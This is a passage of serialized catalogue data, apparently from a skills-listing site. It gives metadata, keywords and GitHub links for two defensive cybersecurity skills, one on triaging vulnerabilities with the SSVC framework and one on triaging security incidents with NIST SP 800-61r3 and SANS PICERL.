scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[221],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,223,224,45,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":242,"name":243,"nameZh":6,"description":244,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":245,"categories":246,"keywords":248,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[247],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,249,45,250,251,252,253,254,255,256,257,184,258,185,259,260,261,262,263,264],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]